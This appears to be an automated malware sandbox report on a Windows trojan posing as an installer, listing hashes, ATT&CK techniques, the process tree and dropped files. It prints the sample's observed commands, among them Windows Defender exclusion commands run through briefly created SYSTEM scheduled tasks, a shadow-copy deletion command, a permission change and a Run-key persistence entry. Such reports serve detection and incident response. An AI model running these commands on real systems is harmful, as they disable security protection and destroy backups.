192b9aa8c6be0d2585a8a4360e6c8f6b0042e60156be7bb48f1a60c56bb9b9de

Analysis

max time kernel
165s
max time network
167s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/08/2026, 16:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install_v3.0.02.exe
Size 31.6MB
Sample260822-tk8elswekf
SHA256 192b9aa8c6be0d2585a8a4360e6c8f6b0042e60156be7bb48f1a60c56bb9b9de
MD5 a25090a07abb8f6d357b84dfed5a2059
SHA1 2ccd0c85a917111ac92f1b39ace117d3d9c47aae
SHA512 121817fb8fda0aec9e7fe2a4a53440c30a13ecdc12253bfb75c1a5909920a0df99904d13c37a9b731d1746c3e7d817e49cb66977e0440af67ec5e32ceab9d582
SSDEEP 98304:xvHhs8mSgPrs3ihngA0hFI6qqAF3EJnVXhkg/9EDo6I7f:Zmb43Ogvh3ACrRk+uD+7f
TLSH
T1BF77F6A2F601D9EEED5444FC848DC6A36322ECA48551471F33887B29BFBBD4C4D98DA4
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\dFXGVM = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2292	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4388	MFnNjy.exe
4552	MFnNjy.exe

Loads dropped DLL 2 IoCs

pid	Process
4388	MFnNjy.exe
4552	MFnNjy.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5456	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\dFXGVM\\MFnNjy.exe\""	MFnNjy.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4852	cmd.exe
4156	cmd.exe
3000	cmd.exe
2276	cmd.exe
3800	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	MFnNjy.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\f8TG8E\image.png	MFnNjy.exe
File opened for modification	C:\Program Files (x86)\f8TG8E\BwVFxA.exe	MFnNjy.exe
File opened for modification	C:\Program Files (x86)\f8TG8E\XPSPLOG.dll	MFnNjy.exe
File opened for modification	C:\Program Files (x86)\f8TG8E\image.png	MFnNjy.exe
File opened for modification	C:\Program Files (x86)\f8TG8E	MFnNjy.exe
File created	C:\Program Files (x86)\f8TG8E\BwVFxA.exe	MFnNjy.exe
File created	C:\Program Files (x86)\f8TG8E\XPSPLOG.dll	MFnNjy.exe
File created	C:\Program Files (x86)\f8TG8E\thumbs.db	MFnNjy.exe
File opened for modification	C:\Program Files (x86)\f8TG8E\thumbs.db	MFnNjy.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4092	cmd.exe
2388	cmd.exe
4476	cmd.exe
3888	cmd.exe
3580	cmd.exe
2352	cmd.exe
2636	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5708	schtasks.exe
5584	schtasks.exe
4132	schtasks.exe
4576	schtasks.exe
4260	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
2576	install_v3.0.02.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe
4388	MFnNjy.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	2292	powershell.exe
Token: SeIncreaseQuotaPrivilege	2292	powershell.exe
Token: SeSecurityPrivilege	2292	powershell.exe
Token: SeTakeOwnershipPrivilege	2292	powershell.exe
Token: SeLoadDriverPrivilege	2292	powershell.exe
Token: SeSystemProfilePrivilege	2292	powershell.exe
Token: SeSystemtimePrivilege	2292	powershell.exe
Token: SeProfSingleProcessPrivilege	2292	powershell.exe
Token: SeIncBasePriorityPrivilege	2292	powershell.exe
Token: SeCreatePagefilePrivilege	2292	powershell.exe
Token: SeBackupPrivilege	2292	powershell.exe
Token: SeRestorePrivilege	2292	powershell.exe
Token: SeShutdownPrivilege	2292	powershell.exe
Token: SeDebugPrivilege	2292	powershell.exe
Token: SeSystemEnvironmentPrivilege	2292	powershell.exe
Token: SeRemoteShutdownPrivilege	2292	powershell.exe
Token: SeUndockPrivilege	2292	powershell.exe
Token: SeManageVolumePrivilege	2292	powershell.exe
Token: 33	2292	powershell.exe
Token: 34	2292	powershell.exe
Token: 35	2292	powershell.exe
Token: 36	2292	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4388 wrote to memory of 2292	4388	MFnNjy.exe	92
PID 4388 wrote to memory of 4852	4388	MFnNjy.exe	95
PID 4852 wrote to memory of 4132	4852	cmd.exe	97
PID 4852 wrote to memory of 436	4852	cmd.exe	99
PID 4388 wrote to memory of 4156	4388	MFnNjy.exe	101
PID 4852 wrote to memory of 5356	4852	cmd.exe	103
PID 4388 wrote to memory of 3000	4388	MFnNjy.exe	106
PID 4156 wrote to memory of 4576	4156	cmd.exe	108
PID 3000 wrote to memory of 4260	3000	cmd.exe	109
PID 4156 wrote to memory of 1060	4156	cmd.exe	110
PID 3000 wrote to memory of 1296	3000	cmd.exe	111
PID 3000 wrote to memory of 6100	3000	cmd.exe	113
PID 4156 wrote to memory of 3668	4156	cmd.exe	114
PID 4388 wrote to memory of 2276	4388	MFnNjy.exe	115
PID 2276 wrote to memory of 5708	2276	cmd.exe	117
PID 4388 wrote to memory of 3800	4388	MFnNjy.exe	119
PID 2276 wrote to memory of 1988	2276	cmd.exe	121
PID 3800 wrote to memory of 5584	3800	cmd.exe	123
PID 2276 wrote to memory of 4064	2276	cmd.exe	124
PID 3800 wrote to memory of 624	3800	cmd.exe	125
PID 3800 wrote to memory of 5464	3800	cmd.exe	126
PID 4092 wrote to memory of 1636	4092	cmd.exe	128
PID 2388 wrote to memory of 3768	2388	cmd.exe	129
PID 4476 wrote to memory of 2464	4476	cmd.exe	130

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install_v3.0.02.exe
"C:\Users\Admin\AppData\Local\Temp\install_v3.0.02.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2576

C:\Users\Public\dFXGVM\MFnNjy.exe
"C:\Users\Public\dFXGVM\MFnNjy.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:2292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\dFXGVM\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4852
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\dFXGVM\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4132
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:436
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4156
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4576
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1060
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3000
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4260
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1296
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:6100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2276
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5708
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1988
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3800
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5584
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:624
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5464
- C:\Program Files (x86)\f8TG8E\BwVFxA.exe
  "C:\Program Files (x86)\f8TG8E\BwVFxA.exe"
  2⤵
  PID:1136
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\f8TG8E" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:3580
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\f8TG8E" /inheritance:r
      4⤵
      Modifies file permissions
      PID:5456
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:3888
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:2352
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:2636

C:\Users\Public\dFXGVM\MFnNjy.exe
"C:\Users\Public\dFXGVM\MFnNjy.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4552

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\dFXGVM" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4092
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\dFXGVM" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1636

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1664

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2388
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3768

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4476
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2464

C:\Program Files (x86)\f8TG8E\BwVFxA.exe
"C:\Program Files (x86)\f8TG8E\BwVFxA.exe"
1⤵
PID:5932

C:\Program Files (x86)\I2JiV\6v0V3J828.exe
"C:\Program Files (x86)\I2JiV\6v0V3J828.exe"
1⤵
PID:2172

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\I2JiV\XPSPLOG.dll
Size 3.9MB
SHA256 b8de7988c86fe2be5f9f2fccfe937c83befb0c7f0ba8f59e295b7fac7d07f5ab
MD5 63d9f1f79fe0aa83ebe0dcf75de95d4c
SHA1 3de2262488ffcfb5a827d095d9c8513d37ac9892
SHA512 534b755ad36718e8fffeb85b08535ec3800efe5a1467dc66aa010b6e3f0917f8acc4da5ead82ad529b68da85031b467c121768f11f5a000c1dab93015b0fa8c2
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvy:BMWKfU+BcUTHCCCfqCiy
TLSH
T1FF16330DBADB061DD89276B85F2DFC7EB67828CC4318EC8DD499748B9472B39603950E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\I2JiV\XPSPLOG.dll
Size 3.6MB
SHA256 455327f1c9ab4986fd0303d9a72297d17f5222384f0358258a90b1584e641242
MD5 50fbd7b4fe8577416f8d4fa2cb226cbd
SHA1 5469af68b392373893d9cd6c7a86698a0565e8fb
SHA512 0eca1ce6853767a449d140b3a05baec87eb9065d07a98d9d91f0e67be720d20a15bd963979fb3b4671e6bb4311172de0228141804e46ba4fb984cfd32838563b
SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+nEXOnqaiOKZCUqyn78eT158P:yCMWmcKfST5t+BceThTHfaCCUqmJPg
TLSH
T10006334DBBDB561EE95272785F2EFC3E727829CC4308EC88D4A5354B90B2B79603990D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\I2JiV\image.png
Size 1.2MB
SHA256 3b752a561dcd791b35e65bf7d92addf5296ee2e022073b5689cc9dfbb92545cc
MD5 07155128a4b5c594254bfb5596c00882
SHA1 5c626ab0cfe90813f24d215fdb253ee955796c35
SHA512 7c26f3d9f21416617e3b6cd6d22edd5e417d1422c0e07a723691e4921d6052a63ee17263608c40f03a6d2accd21a903f2b5e3e154d38f827547983e727b778c6
SSDEEP 24576:q796mYuBWZdgAQDn15g/M1k3+3PVWdOOKn2YJw5VzFDlmphjN7UT6:0EmY0WZdgzYkk3mPVWIU5VJwUT6
TLSH
T1CE55330C1A49D9EA96933FC1082E56C3B5CC6FDC9AD6C2635B738C5B4D78090AA369DC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BwVFxA.exe

Path C:\Program Files (x86)\f8TG8E\BwVFxA.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\f8TG8E\XPSPLOG.dll
Size 4.6MB
SHA256 23a5d8817a69900ec6b7836e2b18d91249896fe4e91e71a37537126b3a294737
MD5 a2086708e71565f5ea31be235c7fda83
SHA1 0d8599ca9e19d3e12dce482d16f136dc1d78e166
SHA512 ad42a865182f473fbac944a013467ca7e835dcdc8b139994355f330e058d19b1e8ce34a94bfbea33876183dce06d67db55193c8d06f02e9e09356c434e1ebf38
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyD:BMWKfU+BcUTHCCCfqCiUffnD
TLSH
T125263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\f8TG8E\image.png
Size 5.0MB
SHA256 25b500f616004f02e2d27e327586af689519566dee1953d43b94abfb38e58632
MD5 91c8151d919bc433cb0c6081a263fd75
SHA1 41e0d4163707869c7e5fb421af40095934578b0b
SHA512 def45216ba7f66ca24db28515607232b74fe895162f2715b95cb62676875eaf1576d9b9f10e4f5f93ab6dacd37f4d7ddf64a5adc57e3716f66a655f4d0d11c25
SSDEEP 98304:qFYrZdgzrNWII7jT4piZg5mNmtgJ+N2T4+C0l7ETp1qM/a6kX6aVmtK:nRIUjDgAk+jkn/IXhVaK
TLSH
T1E23633605F0EE7EA8F3B6FEAA22B74C974895BDDC99C44054D76DC6D4DB8240B4208EC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\f8TG8E\thumbs.db
Size 358KB
SHA256 19ff69b459bf954efaa94a685dbe415e5edba3e5e641eb894eb998b7e2a1514d
MD5 e9c846b1bdf2be97c1e746fd3a6fee00
SHA1 a7784982875274c203554bed3c99a80017674acd
SHA512 c133eb99b6015d625d180e4576c7ed7c0b49734c98249951d9dee096d3d20d1a142e516140437540aec1c4a4f2a705614fc687cd8be7967521d82d599c10ee32
SSDEEP 6144:ViACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:88u69CghoQxoMTFQqtKFCz7mb/
TLSH
T16B74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

MFnNjy.exe

Path C:\Users\Public\dFXGVM\MFnNjy.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\dFXGVM\UxEnhance64.dll
Size 3.1MB
SHA256 c27daa862d4caba207e9814fdefaed6a46e825a88925e520197574422c596348
MD5 1bbc08253256444fc642664f570200c8
SHA1 f1953812cff53464c2d51505842a224ec5b2c77e
SHA512 a9d49abf3d9eb26cb3e9f92dbf1961d77f007c7654bc43a9857de23b5e0663ccc1b5a24890d5566772a7737a9752b199930aad78fa8f47155fe9c97a7872dea7
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+p:P9m29xx3Tiqt06ox6+z2rNNrKop
TLSH
T166E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\dFXGVM\adoresd.dat
Size 4.7MB
SHA256 63b040735b9f9504d8d9d7e98d84282fd0390b4dba441866ee63b86a03bd827b
MD5 60c3822e54ab59bc506a189fbaae2d28
SHA1 242640b87b85bcdd37c994e789427e05d69a85c5
SHA512 8590dd0578d84d55c9b728935e8cd81fb6f2a9b74ae3e97224cd2c8395ccd85adeb4ffa3603ab4a75056145ef797984d2041c8d4f018463606bbf32820e3111b
SSDEEP 98304:WKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:WKClqhi0Cv54K2IVS0VQg
TLSH
T19F3633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\dFXGVM\msadox.tb
Size 8KB
SHA256 7eee4280d70cf02bd1d7ea81bdaed2195a0144a86ebb5d66a679e2055991f05a
MD5 9583e5982574573a21ff7b2a5eb64fa0
SHA1 cd4e469070a5bcbf6783d7fa17682d69bf03e91c
SHA512 f7fdc01dd0ec8e518f2ade1b5dbff1b6bc599bfe91f6376862fb196657b1c721837fc535c3cc88085cba5c74dd52c584e7608659442d70bfc9db26a0bc3edefe
SSDEEP 192:BqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:BsZqZOXQ3uqvR2Kfzp
TLSH
T1A8029E05D7A20CC3D2016C71CD9EB2F5AB23A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1136-678-0x0000000074990000-0x00000000750DA000-memory.dmp

Download

memory/1136-684-0x0000000001280000-0x0000000001281000-memory.dmp

Download

